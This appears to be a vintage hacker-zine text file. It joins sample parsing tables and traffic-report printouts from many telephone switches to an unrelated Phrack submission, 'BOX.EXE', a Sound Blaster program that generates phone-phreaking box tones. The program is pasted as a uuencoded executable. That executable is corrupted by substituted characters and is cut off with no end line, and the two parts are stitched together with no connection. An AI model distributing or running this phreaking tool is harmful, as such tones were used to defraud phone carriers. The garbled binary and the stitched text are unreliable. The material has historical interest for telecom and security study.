‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

001 000 /M 00/ 001 075 255 65535 65535 002 001 /BLOCK C/ 002 077 001 00020 00169 003 002 /FINISH/ 001 073 255 65535 65535 004 001 /CELL 001/ 001 077 002 00170 00229 005 001 /CELL 002/ 001 077 003 00230 00289 006 001 /CELL 003/ 001 077 004 00290 00349 007 001 /CELL 005/ 001 077 005 00350 00409 008 001 /CELL 006/ 001 077 006 00410 00469 009 001 /CELL 007/ 001 077 007 00470 00529 010 001 /CELL 008/ 001 077 008 00530 00589 011 001 /CELL 009/ 001 077 009 00590 00649 012 001 /CELL 010/ 001 077 010 00650 00709 013 001 /CELL 011/ 001 077 011 00710 00769 014 001 /CELL 012/ 001 077 012 00770 00829 015 001 /CELL 013/ 001 077 013 00830 00889 016 001 /BLOCK H/ 001 077 014 00890 00949 017 001 /FINISH/ 001 073 255 65535 65535

Example of TRAFFIC report:

~~~~~~~~~~~~~~~~~~~~~~~~~

M 00 3/7/1993 THU 13:00:00

#068

A 30

BLOCK C 000034 13:00 3/7/1993 12:00 3/7/1993

(0)

000100 000313 000197 000049 000029 000103 000226 000125 000220 000066 (1)

000180 000291 000238 000123 000050 000154 000326 000146 000074 000089 (2)

000000 000007 000000 000000 000000 000000 000000 000000 000000 000000 (3)

000000 000000 000000 000000 000000 000000 000000 000036 000180 000000 (4)

000023 000023 000366 000000 000000 000000 000000 000000 000000 000000 (5)

.

.

.

(more data)

.

.

(13)

000000 000000 000000 000000 000000 000000 000000 000000 000000 000000 FINISH

03/07/93 13:30:38

#371

.

.

.

M 00 3/7/1993 THU 13:00:00

#068

00 REPT:AMPSTRSF CELL 001 START 120 STOP 130 03/07 COMPLETE 000089 000014 000000 000000 000000 000000 000084 000014 000201 000001 000052 000050 000048 000036 000002 000008 000003 000199 000000 002654 000000 000031 000000 000360 000000 000000 000000 000036 003728 005170 000000 004065 003170 000000 003992 000071 000000 000067 000146 000000 000241 000000 000000 000000 000000 000000 000000 000000 000000 000000 #077

M 00 REPT:RC CENSUS

OFFICE RC CHANNEL = REM

TRCA OVER 0% FULL

RBA OVER 5% FULL

RCMDS MODE = 0

#082

M 00 REPT:RC SOURCE

SCV=0

CFV=0

RCS=0

DLY=0

VSS=0

ACS=0

CSR=0

BIS=0

TRB=0

FBP=0

LOG=0

CR6=0

#083

.

.

.

(more)

.

.

****************************************

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ ITT/North 1210 Switch ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

****************************************

Example of RMT data:

~~~~~~~~~~~~~~~~~~~

ACTION IN LINE 003 FIXED LOWER: 00000 UPPER: 02039

ENTRY REQUIRED STRING NEW ACTION TYPE STARTING ENDING PHASE PHASE REGISTER REGISTER

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

001 000 /:/ 001 076 255 65535 65535 002 001 /TYPE/ 002 073 255 65535 65535 003 002 /2 / 003 077 002 00020 00098 004 002 /4 / 003 077 004 00100 00319 005 002 /5 / 003 077 005 00320 00469 006 002 /16 / 003 077 016 00670 01769 007 002 /18 / 003 077 018 01770 02040 008 002 /20 / 003 077 020 00470 00669 009 003 /END/ 000 073 255 65535 65535

Example of a TRAFFIC report:

~~~~~~~~~~~~~~~~~~~~~~~~~~

DSS‑1 VAR‑00 VER‑00 PAT=43 ACD

938 R TRAFF 4703 12/06/93 09:00:00 SBG‑B

DATA FROM 1210 SWITCH TO UDC

DIAL TONE DELAY

TYPE CODE SCAN(SEC) BRP START/TIME LENGTH(MIN) ORDER/DATE 2 R 10 21(45) 08:00 60 12/16/93

THRESHOLD TIME 2.0

LSID DTD TIME(SEC) CALLS DELAY CALLS

1 .34 60 1

2 .47 34 0

SYS TOTAL .43 94 1

END

936 TRAFF 4703 12/06/93 09:45:55 SBG‑B

SEPERATIONS

TYPE CODE SCAN(SEC) BRP START/TIME LENGTH(MIN) ORDER/DATE 4 R NONE 10(43Z 12:00 60 12/06/79

CNTR* VALUE CNTR* VALUE CNTR* VALUE CNTR* VALUE CNTR* VALUE 1 32 2 65 3 73 4 84 5 64 6 42 7 84 8 51 9 63 10 69

END

9344 TRAFF 4703 12/06/93 09:46:00 CALL COUNT

.

.

(more)

.

.

note: This thing is a beast! If you find one of these call a museum quick!!!

****************************************

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ ITT/North NX‑1E Switch ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

****************************************

RMT data example:

""""""""""""""""""

ACTION IN LINE 000 VARIABLE LOWER: 00000 UPPER: 00019

ENTRY REQUIRED STRING NEW ACTION TYPE STARTING ENDING PHASE PHASE REGISTER REGISTER

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

001 000 /:/ 001 076 255 65535 65535 002 001 /DATA TYPE/ 001 078 001 65535 65535 003 001 /END OF/ 000 073 255 65535 65535

Example of a TRAFFIC report:

""""""""""""""""""""""""""""

26 JUNE 86 10:00:00 THT 735 TM GROUPED DATA DUMP REPORT

TIME OF LAST REPORT: 26 JUNE 78 09:00:00

DATA TYPE GROUPED DATA

SOTU 572 681

SOTP 434 863

RSOU 894

RSOP 978

GTCA 1 1 2 3 4 5 6

SLA 0 0 0 0 1 1 1

TKTU 631 408 17 358 951 426 324 436 384 277 462 46 853 956

TKTP 543 753 783 34 572 294 815 426 85 357 392 739 212 142

TK2U 584 282 53 19

BSWU 27 7

QTCU 18

END OF GROUPED DATA DUMP

****************************************

‑‑‑‑‑‑‑‑‑‑‑ THE GTE GTD‑1 (Automatic Electric No.1 EAX) Switch‑‑‑‑‑‑‑‑‑‑‑‑‑

****************************************

Example of RMT data:

~~~~~~~~~~~~~~~~~~~

ACTION IN LINE 007 VARIABLE LOWER: 00000 UPPER: 00079

ENTRY REQUIRED STRING NEW ACTION TYPE STARTING ENDING PHASE PHASE REGISTER REGISTER

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

001 000 /HO UR/ 000 075 255 65535 65535 002 000 /MS 19/ 001 077 001 00020 00039 003 001 /MS 19/ 001 081 001 00101 65535 004 001 /COUNTS/ 001 073 255 65535 65535 005 001 /MS 21/ 002 077 002 00040 00079 006 002 /MS 21/ 002 081 001 00101 65535 007 002 /COUNTS/ 003 073 255 65535 65535

Example of TRAFFIC report:

~~~~~~~~~~~~~~~~~~~~~~~~~

I 00 HO UR 1:00:00

R 00 ME RR 9

R 00 MS 19 7 COUNTS GREATER THAN 0

R 00 MS 19 1,01 1152 1,02 1350 1,03 1194

R 00 MS 19 1,04 1378 1,05 1212 1,06 1231

R 00 MS 19 1,07 1099

R 00 MS 21 7 COUNTS GREATER THAN 0

R 00 MS 21 1,01 397 1,02 570 1,03 574

R 00 MS 21 1,04 542 1,05 682 1,06 668

R 00 MS 21 1,07 542

R 00 MS 22 7 COUNTS GREATER THAN 0

****************************************

‑‑‑‑‑‑‑‑‑ THE GTE GTD‑2 (Automatic Electric No.2 EAX) Switch ‑‑‑‑‑‑‑‑‑‑‑‑‑

****************************************

Example of RMT data:

~~~~~~~~~~~~~~~~~~~

ACTION IN LINE 007 VARIABLE LOWER: 00000 UPPER: 00079

ENTRY REQUIRED STRING NEW ACTION TYPE STARTING ENDING PHASE PHASE REGISTER REGISTER

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

001 000 /S@/ 001 084 255 65535 65535 002 001 /MPTK/ 001 078 001 65535 65535 003 001 /MPSW/ 001 078 002 65535 65535 004 001 /MPLB/ 001 078 003 65535 65535 005 001 /MPMA/ 001 078 004 65535 65535 006 001 /MPLS/ 001 078 005 65535 65535 007 001 /MPSP/ 001 078 006 65535 65535

Example of TRAFFIC report:

~~~~~~~~~~~~~~~~~~~~~~~~~

S@1900 TDA MPTK 08‑14‑86 1900 2000

TRK ICT ICT ICT OGT OGT OGT PRE GRP USAGE ATT HITS USAGE ATT OFL DIAL

128 0 0 0 31 18 0 0 129 0 0 0 32 12 0 0 130 0 0 0 0 0 0 0 131 0 0 0 486 269 0 0 132 0 0 0 55 13 0 0 133 317 143 0 264 108 0 0 134 0 0 0 1 2 0 0

S@1901 TDA PMSW 08‑14‑86 1900 2000

SVC USAGE ATT OFL

10 3

10 3 164 0

11 17 163 0

14 302 2523 0

15 200 2391 0

16 377 2187 0

18 84 1171 0

19 113 1477 0

****************************************

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ The Motorola EMX‑250 Switch ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

****************************************

Example of RMT data:

~~~~~~~~~~~~~~~~~~~

ACTION IN LINE 003 VARIABLE LOWER: 00000 UPPER: 00389

ENTRY REQUIRED STRING NEW ACTION TYPE STARTING ENDING PHASE PHASE REGISTER REGISTER

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

001 000 /TRA21/ 001 078 001 65535 65535 002 001 / / 002 073 255 65535 65535 003 002 /^M/ 000 078 002 65535 65535

Example of TRAFFIC report:

~~~~~~~~~~~~~~~~~~~~~~~~

TRA21 0307 1400 1500

0369 0000 00

00129 00045 00178 00127 00000 00000 00000 00000

00000 00000 00000 00001 00000 00000 00000 00000

101 000 BBBBBBBBBBBBBBBBBBBBBBBBBB 262 1234 1

TRA30 0307 1400 1500

0000 0000 00

00000 00000 00000 00000 00000 00000 00000 00000

00000 00000 00000 00000 00000 00000 00000 00000

247 000 BBBBBBBBBBBBBBBBBBBBBBBBBB 262 2134 1

TRA31 0307 1400 1500

0000 0000 00

00000 00000 00000 00000 00000 00000 00000 00000

00000 00000 00000 00000 00000 00000 00000 00000

253 000 BBBBBBBBBBBBBBBBBBBBBBBBBB 262 1234 1

TRA32 0307 1400 1500

00000 00000 00000 00000 00000 00000 00000 00000

00000 00000 00000 00000 00000 00000 00000 00000

254 000 BBBBBBBBBBBBBBBBBBBBBBBBBB 262 1234 1

****************************************

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ NEC ND‑20S SWITCH ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

****************************************

Example of RMT data

"""""""""""""""""""

ENTRY REQUIRED STRING NEW ACTION TYPE STARTING ENDING PHASE PHASE REGISTER REGISTER

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

001 000 /// 000 075 255 65535 65535

002 000 /ORG. CALL/ 001 078 001 65535 65535 003 001 /DUMP END/ 000 073 255 65535 65535 004 000 /SPECIAL DU/ 001 078 002 65536 65535

Example of TRAFFIC report

~~~~~~~~~~~~~~~~~~~~~~~~

06/21 20:01 CON‑TEST NG

PL:1 0 5 4 5 4 6 PT:1 0 3 1 6 4 2

06/21 20:02 * TRAFFIC NORMAL DUMP *

COM ORG. CALL ATTEMPTS (PEG COUNT)

026613 000079 000233 00000 00000 00000 00038

000000 000114

COM ORG. CALL COMPLETED (PEG COUNT)

012172 000049 000113 000047

OOH TER. CALL COMPLETED (PEG COUNT)

034146 000142 000000

OOH CALLED PARTY BUSY ENCOUNTERED (PEG COUNT)

003356

06/21 20:04 *NORMAL DUMP END*

000000 000000

00H CALLED OFFICE (PEG COUNT)

000000 000000 000000 000000 000000 000000 000000 000000

OOH A‑LINK USAGE PER NW BASIS (CCS)

0733.80 0594.40 0000.00 0000.00

OOH TRUNK USAGE (CCS) OGY

0002.40 0004.20 0009.00 0001.60 0009.60 0002.20 0016.00

0000.00 0003.00 0000.00 0000.00 0046.80 0000.00 0003.00

06/21 20:22 *SPECIAL DUMP END*

06/21 20:22

****************************************

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ Northern Telecom DMS‑10 Switch ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

****************************************

Example of RMT data:

~~~~~~~~~~~~~~~~~~~

ACTION IN LINE 011 VARIABLE LOWER: 00000 UPPER: 00560

ENTRY REQUIRED STRING NEW ACTION TYPE STARTING ENDING PHASE PHASE REGISTER REGISTER

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

001 000 /OPM001/ 000 072 001 65535 65535 002 000 /OPM002/ 000 078 002 65535 65535 003 000 /OPM003/ 000 078 003 65535 65535 004 000 /OPM004/ 000 078 004 65535 65535 005 000 /OPM005/ 000 078 005 65535 65535 006 000 /OPM006/ 000 078 006 65535 65535 007 000 /OPM007/ 000 078 007 65535 65535 008 000 /OPM008/ 000 078 008 65535 65535 009 000 /OPM009/ 000 078 009 65535 65535 010 000 /OPM010/ 000 078 010 65535 65535 011 000 /OPM011/ 000 078 011 65535 65535 012 000 /OPM012/ 000 078 012 65535 65535 013 000 /OPM013/ 000 078 013 65535 65535

Example of TRAFFIC report

~~~~~~~~~~~~~~~~~~~~~~~~

OPM001 TRAF HLST MON 08/19/86 15:00:00 HRHR

PEG BLK USE

ORTM 00635 00000 00978

OROG 00477 00000 00685

ORNC 00089

RVRT 00012

INTM 00429 00000 00707

INOG 00000 00000 00000

INNC 00003

OPM002 OSVC HLST MON 11/02/85 15:00:00 HRHR

PEG

PSIG 00027

PDTO 00015

PABN 00092

FSTR 00168

DGTC 00599

DPC 00874

TOTC 01473

%

DGTS 000.0

DPS 000.0

TOTS 000.0

****************************************

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ Northern Telecom DMS‑100 Switch ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

****************************************

Example of RMT data

~~~~~~~~~~~~~~~~~~

ACTION IN LINE 004 VARIABLE LOWER: 00000 UPPER: 01015

ENTRY REQUIRED STRING NEW ACTION TYPE STARTING ENDING PHASE PHASE REGISTER REGISTER

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

001 000 /QWMPR2/ 001 075 255 65535 65535 002 001 /SLOWS/ 002 077 001 00020 00999 003 002 /TRMT2/ 003 068 066 65535 65535 004 002 /ANN^J/ 002 068 119 65535 65535 005 002 /SITE^J/ 003 073 255 65535 65535 006 003 /TRK^J/ 004 077 002 01000 04499 007 004 /KEY/ 005 081 019 00027 65535 008 005 /QFZ^J/ 000 077 003 04500 04920

Example of TRAFFIC report

~~~~~~~~~~~~~~~~~~~~~~~~

CMFLINT OMPR213 AUG13 15:01:09 3684 INFO CM REPORT

CLASS: NMCTRAFF

START: 1986/08/13 14:00:00 WED; STOP: 1986/08/13 15:00:00 WED; SLOWSAMPLES: 36; FASTSAMPLES: 360;

CPU

MTCHINT TRAPINT CPUFLT SYSWINIT SYSCINIT SYNCLOSS MSYLOSSU SSYLOSSU

0 0 0 0 0 0 0 0 0

ICO

IOCERR IOCLKERR IOCFLT IOCLKSBU IOLKMBU IOCSBU IOCMBU

0 0 0 0 0 0 0 0

CMC

KEY (CMC_INDEX)

.

.

.

****************************************

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ Northern Telecom DMS‑250 ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

****************************************

Example of RMT data

~~~~~~~~~~~~~~~~~~

ACTION IN LINE 003 VARIABLE LOWER: 00000 UPPER: 02387

ENTRY REQUIRED STRING NEW ACTION TYPE STARTING ENDING PHASE PHASE REGISTER REGISTER

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

001 000 /QMPR2/ 001 072 255 65535 65535 002 001 /INFO/ 002 073 255 65535 65535 003 002 /SLOWS/ 000 078 001 65535 65535

Example of TRAFFIC data

~~~~~~~~~~~~~~~~~~~~~~

QMPR18 AUG28 17:00:43 4000 INFO QM REPORT

CLASS:SCHOURDC

START:1984/08/28 16:00:00 TUE; STOP: 1984/08/28 17:00:00 TUE; SLOWSAMPLES: 36; FASTSAMPLES

TRMT1

VACT UNCA HNPI UNDN BLDN UNIN

TESS

0 60 0 0 0 0 0

0 0 0

TRMT2

DNTR CNOT DCFC PRSC GNCT ATBS MHLD

0 0 0 0 0 0 0

0 0

QMPR220 AUG28 17:30:16 6100 INFO REPORT

CLASS: ADHOURC

START:1984/08/28 17:00:00 TUE; STOP 1984/08/28 18:00:00 TUE; SLOWSAMPLES: 36; FASTSAMPLES: 360;

TRK

KEY (COMMON_LANGUAGE_NAME)

INFO (QM2TRKINFO)

INCATOT PRERTEAB INFAIL NATMPT MOVFLATB GLARE QUTFAIL DEFLCDA DREU PREU TRU SBU ANSWER INVAUTH CONNECT TANDEM AQF ANF

****************************************

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ Northern Telecom SL‑1 Switch ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

****************************************

Example of RMT data

~~~~~~~~~~~~~~~~~~

ACTION IN LINE 005 (RAM) VARIABLE LOWER: 00000 UPPER: 00010

ENTRY REQUIRED STRING NEW ACTION TYPE STARTING ENDING PHASE PHASE REGISTER REGISTER

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

001 000 /TFS000/ 001 073 255 65535 65535 002 001 /19/ 002 073 255 65535 65535 003 002 / / 000 084 255 65535 65535 004 001 /TF/ 000 073 255 65535 65535 005 002 /TF/ 000 073 255 65535 65535 006 000 /TFS001/ 000 078 001 65535 65535 007 000 /TFS002/ 000 078 002 65535 65535 008 000 /TFS411/ 000 078 141 65535 65535 009 000 /TFS412/ 000 078 142 65535 65535 010 000 /TFS999/ 000 073 255 65535 65535

Example of TRAFFIC report

~~~~~~~~~~~~~~~~~~~~~~~~

001 TFS000

13 10 1978

10 30 00

001 TFS102

00 0000157 00100

001 TFS102

01 0000194 00100

001 TFS102

02 0000194 00100

.

.

.

001 TFS001

00 TERM 00000 0000012 00023 00000 0000157 00161

01 TERM 00000 0000028 00018 00000 0000256 00157

02 TERM 00000 0000015 00019 00000 0000194 00134

06 CONF 00000 0000000 00000 00000 0000001 00003

07 TDS 00000 0000000 00000 00000 0000000 00000

.

.

.

****************************************

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ Northern Telecom SP‑1 PABX Switch ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

****************************************

Example of RMT data

~~~~~~~~~~~~~~~~~~

ACTION IN LINE 013 VARIABLE LOWER: 00000 UPPER: 00042

ENTRY REQUIRED STRING NEW ACTION TYPE STARTING ENDING PHASE PHASE REGISTER REGISTER

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

001 001 /JAN/ 002 073 255 65535 65535 002 001 /FEB/ 002 073 255 65535 65536 003 001 /MAR/ 002 073 255 65535 65535 004 001 /APR/ 002 073 255 65535 65535 005 001 /MAY/ 002 073 255 65535 65535 006 001 /JUN/ 002 073 255 65535 65535 007 001 /JUL/ 002 073 255 65535 65535 008 001 /AUG/ 002 073 255 65535 65535 009 001 /SEP/ 002 073 255 65535 65535 010 001 /OCT/ 002 073 255 65535 65535 011 001 /NOV/ 002 073 255 65535 65535 012 001 /DEC/ 002 073 255 65535 65535 013 002 /19/ 000 075 054 65535 65535 .

.

.

Example of TRAFFIC report

~~~~~~~~~~~~~~~~~~~~~~~~

0067 OPR MEA 00315 013077 18 ‑ 200SUS

LIN# 0 78

2 2 8 0 0 32 0 36 0 2 82

LIN# 1 8

0 0 8 0 0 32 0 0 32 2 0

WED 11 SEPT 1980 112777

572 415 23 3 46 160 1992 0

0 516 0 0 22 1 2180 0

0055 OPR MEA 045331 112044

2420 1713 101 10 327 628 4512 8512 0

WED 11 SEPT 1980 1:06:27 1606CLS3

.

.

.

****************************************

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ Stromberg Carlson DCO Switch (!!) ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

****************************************

Example of RMT data

~~~~~~~~~~~~~~~~~~

ACTION IN LINE 006 VARIABLE LOWER: 00000 UPPER: 00837

ENTRY REQUIRED STRING NEW ACTION TYPE STARTING ENDING PHASE PHASE REGISTER REGISTER

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

001 000 /COMPLETION/ 000 084 255 65535 65535 002 000 /ROW/ 001 077 001 00100 02039 003 001 /END OF TMR/ 000 073 255 65535 65535 004 001 /***/ 002 073 255 65535 65535

005 002 /^M/ 001 066 001 65535 65535

Example of a TRAFFIC report

~~~~~~~~~~~~~~~~~~~~~~~~~~

SITE:ACD,INC. GROUP: 1 BUFFER:ACTIVE COLLECTION TIME: 08:00:00 05/01/79

COMPLETION TIME: 08:01:05 05/01/79

ROW ODD3S ODTNP

0 1 2

1

OLOSZ OLMAT ORVEC

2 3 2 1

OLOTB OLOTL OLOTP OLMDS OLMBY

3 7 2 1 8 3

4

5

...

.

.

.

.

****************************************

‑‑‑‑‑‑‑‑‑‑‑‑‑‑ TRW Vidar ITS 4/5 and ITS 5 Switches ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

****************************************

Example of RMT data

~~~~~~~~~~~~~~~~~~

ACTION IN LINE 006 VARIABLE LOWER: 00000 UPPER: 00837

ENTRY REQUIRED STRING NEW ACTION TYPE STARTING ENDING PHASE PHASE REGISTER REGISTER

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

001 000 /ITD REPORT/ 000 073 255 65535 65535 002 000 / TO / 000 072 001 65535 65535 003 000 /SYSTEM/ 000 078 002 65535 65535 004 000 /GRADE/ 000 078 004 65535 65535 005 000 /SEPAR/ 000 073 004 65535 65535 006 000 /END/ 000 004 255 65535 65535

Example of TRAFFIC report

~~~~~~~~~~~~~~~~~~~~~~~~

TIMED ITS REPORT ADAM FROM 08‑18‑86 13:01:31 TO 08‑18‑86 14:00:28 CLEARING COUNTERS

GROUP TOTALS

NAME TYPE ATT COM XCS AVH OFL

LSSO ORIG 131 93 1671 13 0 LSSO TERM 129 98 1729 13 0 LSS1 ORIG 159 111 3093 19 0 LSS1 TERM 114 97 2793 25 0 LSS2 ORIG

.

.

.

.

****************************************

‑‑‑‑‑‑‑‑‑‑‑‑‑ Western Electric ESS 5 Switch ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

****************************************

Example of RMT data

~~~~~~~~~~~~~~~~~~

ACTION IN LINE 003 VARIABLE LOWER: 00000 UPPPER: 00100

ENTRY REQUIRED STRING NEW ACTION TYPE STARTING ENDING PHASE PHASE REGISTER REGISTER

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

001 000 /S570/ 001 075 255 65535 65535 002 001 /TION 1:/ 002 078 001 65535 65535 003 002 /TION 3:/ 003 078 002 65535 65535

Example of TRAFFIC report

~~~~~~~~~~~~~~~~~~~~~~~~

S570‑108396613 86‑05‑13 12:01:22 12430

OP TRFC30 VLD

TIME: 12:0:27

SECTION 1: VALIDITY

PROC DATLOS SCN10 SCN100

0 VALID 0 18

7 VALID 180 18

10 VALID 180 19

9 VALID 180 18

2 VALID 180 18

6 VALID 180 18

4 VALID 180 18

3 VALID 180 18

8 VALID 180 18

5 VALID 180 18

1 VALID 180 18

11 VALID 180 18

S570‑108396613 86‑05‑13 12:01:24 12431

OP TRFC30 OFC

TIME 12:0:27

SECTION 3: OFFICE TOTALS

DPORQ = 46 TTPRQ = 693 DPINRQ = 1226

MFINRQ= 9577 CDIRR = 58 TCBUSY = 11

.

.

.

.

.

BOX.EXE - Box Program for Sound Blaster

==Phrack Magazine==

Volume Five, Issue Forty‑Five, File 22 of 28

****************************************

BOX.EXE ‑ Submitted to Phrack Magazine for your amusement.

by The Fixer / 604

This is a tiny, minimalist demonstration of several types of box tones. No cosmetic bullshit, no command line parameters and no config files.

You just type BOX.

The only requirements for this program are an IBM PC or compatible and an Adlib Music Card or one of its many successors (including all Sound Blaster types). You may need to turn the volume up a bit as the pure sinewaves tend to be quieter than other Adlib waveforms.

There are keystroke menus in the program. If you need more help than that, you shouldn't be running it.

‑=( The Fixer of 604 )=‑

begin 644 box.exe M35J'`1$````"`"L'*Z>@`X`````2`‑D!'````$Q:,#G__U6)Y3'`FLT"D`*# M?@0`=7_X!YJE#B<!ZTKS!@!^$_^`L`%0_W8&FHT‑[0=(]9J_!OCG"+'`YP+G M".?\]?#3Y_`$FJ@"+@+7`‑*`!^C\^%W"MO?_F[@"`)K\[`**1@0\.W4&QN'\ M1OZ7&#P\]@+K#OD8/#WV`^L$^O^.!]O^B$;Z_XGLOOC_Q!A";'5E(&)O>"!S M:?__;75L871O<B!M;V1E.B<@(,!M,?W_,OC]‑/C]‑_ZC^E‑4,U`H1"G8;5__ M_C/X_37X_3C8_5`@*%38^`N;`__^‑OC].?I+V=2&V$O8^!/__C"P_3*("GA0 MV/@;__S8L%,I(OS#]4AI="!Y;W4F<V.(<&%C$F'V9H?G&#(V,*U#4%,FWT`? M1AGK4VEL=F4@T/G_1C'P4O_I960O1W)E96X@)MI2(`\/=&\@<&CO86L@81]/ ML'1R:6YGTT530X/_YW%UW0?P";^<!1Y7FMVP'P7VFI'Q_K^G``Y7'K7@4)IP M!NGD^`W5^`_`NZW5^!F_Z.3X&A`!Y/@9..3X&F#D^!EMO]7X#XBY^!JKY/@: MTN3X%%W#+$L]&R$`\5,]2_%4^_50AACZ,OE$^3/V__DA/53S+#UP875S911% M;K;==%WQ4'KT4WSS.O7B!`&(\X%T@>SWF\KB0O@4+@/;\!?X*%O5^`O^Y/@) M!.2‑O@`?4O\65[C_`.(UXIV'_^+^BH;G,.2)AOS^N`'QPP`[^7X#Z94!\/[' M8?[K!/_ZB[[\BH.`X=S(^PK2/#$/'W42_S8$\38"`+AD_BFSZ,3[Z5$!/#+J M"#:$Z@;J_*[J.^H4&S/J#.H*ZOR80HKJ)>HTZA`‑(>H.ZOR"Z@_J‑<6&ZA3J M$NK\;.JGV/D`/#;J&.H6ZOP04E;JX^HWZAQL".H:ZOQ`ZLTI‑NHXZB#J'NK\ M*H04ZK?J.>HD&T+J(NK\%.JAZC"*?>HHZB;J_/[ZZ8LXQ.I+=1'N‑.H0?S+J MR.KH^NMV/%.*#>L\ZSK5_‑.GV.MA/%3K,.LNZ_QPBK[K3#Q0ZS@‑I^LVZ_RI MZS<\1.O8<"SK*NO\E.LB/"&*8>M`ZS[KT`<(_^M_ZPT\+'4)N(0NU0/W[+A+ M6/'WBW[Q:_+OW70#Z7'^#/`.Z$'\Z='#'/O=MAHBZ‑$BY]`/"^C2[=$2V4'4 MH/3LT1'9‑ME"].C1AH8‑V3+90_0J4=LC_2V01"&`V"`E@=NJ[&3=<=/_@=@0 M%R/8"Y#8*;P%%.@H;KO9U?@9O^7D^!KQY/@:_8'X*0D&[;6Y^!DKY/@:4>3X M%%W#'<3P"2#($AV_,J7R(%1O;F5SJ_;4_.U4X>(M__[B_N___R(@X>51+O]1 M=6%R>‑K_>/A#[T‑O:<%C;VQL'X‑E8W0A($3N1(Q4^#+T_U+=_IET=7)NXV\> M($[O3FEC:V5LWOU"[&#O4C/98F'KRN@@(76[RN@4.\@+SN@V@@=‑\"B@U?@9 MO[[M=N3X&MSD^!K_Y/@:(0AE^"A`U?@9OV&[_N3X&H/D^!1=PZ#+E;8$Z!CX MFO_Q"`,N`@C`=/>:&O>(1GK#_J:Q+M4`=2/K_?WK_7_>4.A7]CS_=`WU3/:" ML=\WZ7@!Z7(!!]`0R_7I7`?0$;4T‑.I&!]`1G^HP!]`1B30$ZAH'T!%SZ@3J M0T,'T`]=ZNX'T!%'ZMA#0P?0$3'JP@?0$1OJK$/1!]`1!>J6!]+J!]`*!]_O M].F`Z@;0#]GTZVL&T!#0T,3K5@;0$*_K00;0$'##FNLL/"`&T`Z%ZQ>_WSQ2 M=07H[/<$J1MT!#Q1`*I?W?\`ZP/I2EOQ!ZHR\`^Z^C+P*MTWB?0R]W[T,O*$ M`>E^,O5(AOAX1GAN8_WSZ<:&:#+U3.I*ZOSGZL:&4C+U4.I.ZOS1ZL:&/#+U M5.I2ZOR[ZL:&)C+U6.I6ZOREZL:&$#+U7.I:ZOR/ZL:&^C+U8.I>ZOQYZL:& MY#+U9.IBZOQCZL:&SC+U:.IFZOQ‑ZL:&N#+U;.IJZOPWZI!BHNHJZG3J<D‑H MZOPAZHSJ(X;R<`3^ZNWJ"_/K=RGV/$'K>.MVZ_SV\J?8ZV(\0NM\ZWKK_'"* 